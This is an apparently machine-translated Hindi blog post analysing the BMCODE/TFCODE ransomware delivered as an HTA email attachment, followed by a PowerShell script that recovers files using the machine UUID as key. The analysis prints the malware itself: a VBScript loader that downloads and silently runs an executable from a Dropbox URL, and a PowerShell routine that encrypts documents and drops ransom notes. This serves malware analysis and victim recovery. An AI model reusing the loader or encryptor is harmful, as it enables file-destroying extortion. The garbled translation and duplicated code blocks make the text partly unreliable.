💭 🤧 🥗 PowerShell। "वायरस" के संपर्क में आने के बाद फ़ाइलों को डिक्रिप्ट करना 🤜🏽 💗 🧝

रूस के एक निश्चित शहर में
(शायद आपका)
कोई छोटी कंपनी नहीं है।
एक कमरा किराए पर लिया
में NIImorgorvorproma।

इस कंपनी में एक कर्मचारी है जो मेल पढ़ना पसंद करता है। यह किसी भी तरह से फ़ाइल खोलता है, किसी ने जानबूझकर संलग्न व्यक्ति के पत्र के आंत्रों में। एक दूसरे विचार के बिना चल रहा है, "धन्यवाद नोट। एचटीए" और बधाई नहीं देखकर, मैंने थोड़ा धूम्रपान करने का फैसला किया। एक धूम्रपान विराम से लौटकर, वह चिंता में पढ़ता है:

यदि आप इस संदेश को पढ़ते हैं, तो इसका मतलब है कि आपके कंप्यूटर पर एक खतरनाक वायरस ने हमला किया है।
इस कंप्यूटर पर आपकी सभी जानकारी (दस्तावेज, फिल्म और अन्य फाइलें) एन्क्रिप्ट की गई हैं
दुनिया में सबसे क्रिप्टोग्राफिक एल्गोरिथ्म का उपयोग करना RSA1024।
फ़ाइलों को केवल एक विशेष कार्यक्रम का उपयोग करके बहाल किया जा सकता है। इसे पाने के लिए, आपको जरूरत है
हमें अनब्लॉक @tormail.org पर एक ईमेल लिखें

यदि आप हमारे कार्यक्रम के बिना डिक्रिप्ट करने की कोशिश करते हैं, तो फाइलें क्षतिग्रस्त हो सकती हैं!
एक फ़ाइल को पत्र में संलग्न करें, जो डेस्कटॉप "READ_ME_NOW !!!!!!। TXT" पर स्थित है, या यह फ़ाइल
धमकी पत्र केवल आपको और आपकी फ़ाइलों को धमकी देंगे! न भूलें: केवल हम आपकी फ़ाइलों को डिक्रिप्ट कर सकते हैं!

pz8FkWJXdijcajJcWfhJ27TGPgcNNEKXDBcsdyzfX + lUoq68eAptVmGNIYLD8eti1kwwdor59pwOC7XM7T + YLccqyeJqc5loxMCKy4pulpulpfcJJ

अब दूसरे शब्दों में यही बात। कर्मचारी को अनुलग्नक के साथ एक पत्र मिला "धन्यवाद नोट। Rar।" पत्र के मुख्य भाग ने संकेत दिया कि संग्रह पासवर्ड-संरक्षित था और एक पासवर्ड दिया गया था। यह सिर्फ इतना हुआ कि इन दिनों ग्राहकों ने समान पत्र भेजे और कर्मचारी को कुछ भी संदेह नहीं था। संग्रह खोलकर और "थैंक यू नोट। एचटीए" अनुलग्नक लॉन्च किया। कुछ समय बाद, लगभग सभी फाइलों ने .BMCODE एक्सटेंशन (मूल एक्सटेंशन के पाठ को हटाए बिना अंत तक जोड़ दिया) का अधिग्रहण किया और प्रत्येक फ़ोल्डर में उपरोक्त पाठ के साथ READ_ME_NOW !!!!!!! क्लिक करें। उपयोगकर्ता ने कहा "जहां यह आवश्यक है" और "जिसकी आवश्यकता है" व्यापार के लिए नीचे उतर गया।
सबसे पहले, घबराहट के बिना, उन्होंने इस * .हटा और देखा:
इसके बाद के मूल कोड को थोड़ा संशोधित किया गया है और टिप्पणी की गई है ताकि कोई आकस्मिक प्रक्षेपण न हो।

हट कोड

<!--     base64--> <html> <head> <meta charset="windows-1251"> </head> <HTA:APPLICATION ID="objHTA_Info" APPLICATIONNAME="HTA_Info" SINGLEINSTANCE="yes" > <body> <script language=VBScript> 'Execute base64decode("      base64 ") Function base64decode(data) a="CDO.Message" set b=CreateObject(a) With b.BodyPart .ContentTransferEncoding = "base64" .Charset = "windows-1251" With .GetEncodedContentStream .WriteText data .Flush End With With .GetDecodedContentStream .Charset = "utf-8" base64decode = .ReadText End With End With End Function </script> </body> </html>

हम आगे देखते हैं (विभाग ने हंसते हुए बताया कि सब कुछ कितना शानदार और सरल है):

बेस64 डिस्क का निष्पादन करें (

 a1686979793=1686979793: Const SYSTEM32 = &H25:Set # fso = CreateObject("Scripting.FileSystemObject"): Set objShell = CreateObject("Shell.Application"): Set wshShell = CreateObject( "WScript.Shell" ): #Set objFolder = objShell.Namespace(SYSTEM32): Set objFolderItem = objFolder.Self: filepath = replace(objHTA_Info.commandLine,chr(34),""): arguments = " -command $path=((get-content -Path '" + filepath + "' -totalcount 1) -split '%'[1]; #$bytes = [System.Convert]::FromBase64String($path); $decoded = [System.Text.Encoding]::UTF8.GetString($bytes); Invoke-Expression $decoded": Path = objFolderItem.Path + "\WindowsPowerShell\v1.0\powershell.exe": newPath = Path & arguments:RarPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell.exe": TestPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe":. appNewPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe" & arguments: If (fso.FileExists(Path)) Then: wshShell.Run newPath, 0, False: Else : #If Not (fso.FileExists(TestPath)) Then: dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP"): dim bStrm: Set bStrm = createobject("Adodb.Stream"): xHttp.Open "GET", "https://dl.dropbox.com/sh/wn8x35r9l9wsitn/XSwafOFh9E/powershell.exe?dl=1", False: xHttp.Send: with bStrm: .type = 1: .open: #.write xHttp.responseBody: .savetofile RarPath, 2: end with: wshShell.Run RarPath, 0, True: End If : wshShell.Run appNewPath, 0, True : End If

मोटे तौर पर यह समझने के बाद कि PowerShell को dropbox.com पर खाते से डाउनलोड किया जा रहा है, हम इस टुकड़े में रुचि खो रहे हैं।
अगला:

बेस 64 में पहला टुकड़ा

 $1686979793=1686979793; $ErrorActionPreference="SilentlyContinue"; if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security'); Add-Type -Assembly System.Web; $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID; [byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek); $basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg=="; #$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider; #$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey)); $enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false)); $text= "    ,       .`r`n   (,    )     `r`n       RSA1024.`r`n       .   ,  `r`n     unblockme@tormail.org`r`n        !`r`n   ,      `"READ_ME_NOW!!!!!!.TXT`",   `r`n         !  :      !`r`n`r`n" + $enckey; #function Encrypt-File($item, $Passphrase){ $salt="BMCODE hack your system"; $init="BMCODE INIT"; $r = new-Object System.Security.Cryptography.RijndaelManaged; $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase); $salt = [Text.Encoding]::UTF8.GetBytes($salt); $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32); $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]; $r.Padding="Zeros"; $r.Mode="CBC"; $c = $r.CreateEncryptor(); $ms = new-Object IO.MemoryStream; $cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"; $cs.Write($item, 0,$item.Length); $cs.Close(); $ms.Close(); $r.Clear(); return $ms.ToArray(); } #$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending; foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",  ,"*.1cd" |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite'); #if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"} [byte[]]$buff = new-object byte[] $size; $ToEncrypt = $file.Read($buff, 0, $buff.Length); $file.Position='0'; #$Encrypted=Enckrypt-File $buff $ek; $file.Write($Encrypted, 0, $Encrypted.Length); $file.Close(); #$newname=$_.Name+'.BMCODE'; #ren -Path $_.FulName -NewName $nename -Force; $path=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT'; if(!(Test-Path $path)){sc -pat $path -va $text} } catch{} } } H5NdEgi49DIHtJTXm + mcVHnvUpYiNEnxpFj / UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7 + OzBuo11V / 7EmvQBW2sfuNEOP7zdUw0DFKoK + X2Taewaki1LGYhpshjqg =="; $1686979793=1686979793; $ErrorActionPreference="SilentlyContinue"; if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security'); Add-Type -Assembly System.Web; $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID; [byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek); $basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg=="; #$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider; #$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey)); $enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false)); $text= "    ,       .`r`n   (,    )     `r`n       RSA1024.`r`n       .   ,  `r`n     unblockme@tormail.org`r`n        !`r`n   ,      `"READ_ME_NOW!!!!!!.TXT`",   `r`n         !  :      !`r`n`r`n" + $enckey; #function Encrypt-File($item, $Passphrase){ $salt="BMCODE hack your system"; $init="BMCODE INIT"; $r = new-Object System.Security.Cryptography.RijndaelManaged; $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase); $salt = [Text.Encoding]::UTF8.GetBytes($salt); $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32); $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]; $r.Padding="Zeros"; $r.Mode="CBC"; $c = $r.CreateEncryptor(); $ms = new-Object IO.MemoryStream; $cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"; $cs.Write($item, 0,$item.Length); $cs.Close(); $ms.Close(); $r.Clear(); return $ms.ToArray(); } #$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending; foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",  ,"*.1cd" |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite'); #if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"} [byte[]]$buff = new-object byte[] $size; $ToEncrypt = $file.Read($buff, 0, $buff.Length); $file.Position='0'; #$Encrypted=Enckrypt-File $buff $ek; $file.Write($Encrypted, 0, $Encrypted.Length); $file.Close(); #$newname=$_.Name+'.BMCODE'; #ren -Path $_.FulName -NewName $nename -Force; $path=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT'; if(!(Test-Path $path)){sc -pat $path -va $text} } catch{} } }

हम पढ़ते हैं, पढ़ते हैं और राहत के साथ सांस लेते हैं। फ़ाइलों के कुल एन्क्रिप्शन की कोई बात नहीं है।
So. सबसे पहले, हम चाबियाँ ढूंढ रहे हैं। हम लाइनें देखते हैं:

  $Encrypted=Enckrypt-File $buff $ek; $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;

और यह समझें कि कुंजी कंप्यूटर के UUID का उपयोग करती है। इस क्षण से यह और भी आसान हो जाता है और लगभग साहसपूर्वक पहले भाग के बारे में भूल जाते हैं, जहां एक डरावनी कुंजी बनती है, जिसे * .TXT में जोड़ा जाता है।

आगे हम देखते हैं:

 if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}; [byte[]]$buff = new-object byte[] $size;

इससे हमें पता चलता है कि पूरी फ़ाइल एन्क्रिप्टेड नहीं है, लेकिन केवल पहला भाग यदि फ़ाइल का आकार 40kb से अधिक है, यदि कम है, तो पूरी फ़ाइल।
यह कंप्यूटर के यूयूआईडी का पता लगाने और डिक्रिप्शन के लिए एक स्क्रिप्ट लिखने के लिए बनी हुई है।
हम UUID को उसी कमांड से पहचानते हैं।

 (get-wmiobject Win32_ComputerSystemProduct).UUID

PowerShell में चल रहा है, जिसे मैलवेयर ने सावधानीपूर्वक डाउनलोड किया और% TEMP% से नहीं हटाया।

अब स्क्रिप्ट लिखने के लिए। कठिनाई केवल समझ में उत्पन्न हुई (और यह ज्ञान की कमी के कारण था, क्योंकि यह पहले से मुठभेड़ करने के लिए आवश्यक नहीं था), कि एम $ के उदाहरणों के अनुसार, ऐसे कार्य एक पैरामीटर के रूप में एक स्ट्रिंग से गुजरते हैं, लेकिन यहां वे बस एक सरणी का उपयोग करते हैं।

असल में, मैंने जो सीखा। यह कोड काम कर रहा है, जिसमें कोई बदलाव नहीं है और काम की प्रक्रिया को ट्रैक करने के लिए अतिरिक्त निष्कर्ष हैं।

Dec_beta, ps1

 cls $null = [Reflection.Assembly]::LoadWithPartialName("System.Security"); $ek='00000000-0000-0000-0000-6CF04916E0EA'; function Decrypt-String($Encrypted, $Passphrase){ $salt="BMCODE hack your system" $init="BMCODE INIT" $r = new-Object System.Security.Cryptography.RijndaelManaged $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase) $salt = [Text.Encoding]::UTF8.GetBytes($salt) $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15] $r.Padding="Zeros"; $r.Mode="CBC"; $d = $r.CreateDecryptor() $ms = new-Object IO.MemoryStream @(,$Encrypted) $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" $Enc=$cs.read($Encrypted, 0,$Encrypted.Length) $cs.Close(); $ms.Close(); $r.Clear(); return [byte[]]$Encrypted = $ms.ToArray() } $dir= read-host "       (: C:\, D:\111\)" gci $dir -Recurse -Include "*.BMCODE" |%{try {$_; $file=[io.file]::Open($_, 'Open', 'ReadWrite'); #Wrire-host $file.Name; write-Host " : $file.Length"; If ($file.Length -lt "40960"){$size=$file.Length} Else{$size="40960"} [byte[]]$buff = new-object byte[] $size; $ToEncrypt = $file.Read($buff, 0, $buff.Length); write-host $size; $file.Position='0'; $arr=Decrypt-String $buff $ek; Write-host $_.Name Write-host $_.FullName $file.Write($arr, 0, $arr.Length); Write-host "Done"; $file.Close(); $newname=$_.Name -replace '.BMCODE',''; ren -Path $_.FullName -NewName $newname -Force; Write-Host " : $_.Name"; $hnya=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT' rm $hnya; } catch{} }

वह क्या करता है, जरूरत पड़ने पर क्या बदला जाना चाहिए:
1) हम वांछित कुंजी के साथ मैनुअल चर $ ek में सेट करते हैं (हमारे मामले में, UUID)
2) डीकोडिंग फ़ंक्शन का वर्णन जो एक सरणी देता है। हमने मालवेयर के स्रोत कोड में वे चर नमक और $ init निर्धारित किए थे।
3) हम लॉन्चर को उस पथ को निर्दिष्ट करने के लिए कहते हैं जिससे फ़ाइल खोज शुरू होगी (हम सबफ़ोल्डर्स की तलाश करते हैं)
4) निर्दिष्ट एक्सटेंशन (.BMCODE) के साथ मिली प्रत्येक फ़ाइल को डिकोड किया गया और सामान्य नाम दिया गया।
5) रास्ते के साथ, READ_ME_NOW !!!!!!। TXT नाम की फाइलें, जो मैलवेयर बनाई गई हैं, हटा दी जाती हैं।

कोड सही नहीं है और बहुत सरल और फिर से लिखा जा सकता है, लेकिन सबसे महत्वपूर्ण बात - यह काम करता है और मदद करता है।

वह सब है। मुझे उम्मीद है कि यह लेख उन सभी को मदद करेगा जो पहले से ही एक समान समस्या का सामना कर चुके हैं और यह नहीं जानते कि क्या करना है। जैसा कि वे RuNet में कहते हैं, साइबर अपराधियों को डिक्रिप्शन के लिए 3,000 से 10,000 रूबल की आवश्यकता होती है, लेकिन अधिक परिष्कृत मालवेयर वेरिएंट हैं जहां आप कुंजी का पता नहीं लगा सकते हैं।

मैं सिम को अलविदा कहता हूं और आशा करता हूं कि मैं भी समय पाऊंगा और लिखूंगा कि कैसे हमने अपने NIIimorgorvprom उद्योग में वीडियो निगरानी स्थापित की और विभाग के दरवाजे पर घंटी के रूप में माउस लटका दिया।

युपीडी
पत्राचार के परिणामों के अनुसार।
विकल्प .TFCODE
.TFCODE विकल्प 50 अक्षरों के यादृच्छिक पासवर्ड का उपयोग करता है। में पासवर्ड फ़ाइल मिली
C: \ Documents and Settings \ USER \ Application Data। फ़ाइल सिस्टम उत्पाद का नाम

मैलवेयर कोड में, पुनरारंभ करने के लिए एक अजीबोगरीब जांच लागू की जाती है

 $idpath = $env:APPDATA + "\" + (gwmi win32_computersystem).model; if(Test-Path $idpath){$getc = Get-Content $idpath; if ($getc -eq "good"){exit} else {$ek = $getc}} ...... Set-Content -Path $idpath -Value "good"

यदि फ़ाइल में पहले से ही अच्छा लिखा गया है, तो कुंजी को ढूंढना इतना आसान नहीं है। इसलिए, यदि आपने गलती से एक मैलवेयर लॉन्च किया है या देखा है कि फाइलें एक्सटेंशन बदलना शुरू कर देती हैं, तो एन्क्रिप्शन प्रक्रिया को रोकने और कुंजी को बचाने के लिए तुरंत कंप्यूटर को बंद कर दें।

बाकी वही है। चर $ ek में हमने पाया फाइल से लाइन लगाई। .BMCODE को .TFCODE में बदलें, चर $ नमक और $ init की जाँच करें और नाम बदलें। * .TTT को फ़ोल्डर में क्या बनाया गया था (READ_ME_NOW.TXT)।
हम एन्क्रिप्टेड फ़ाइलों की प्रतियों पर ट्रायल रन बनाते हैं। अगर सब ठीक है, तो आनन्द मनाओ।

PowerShell। "वायरस" के संपर्क में आने के बाद फ़ाइलों को डिक्रिप्ट करना

More articles: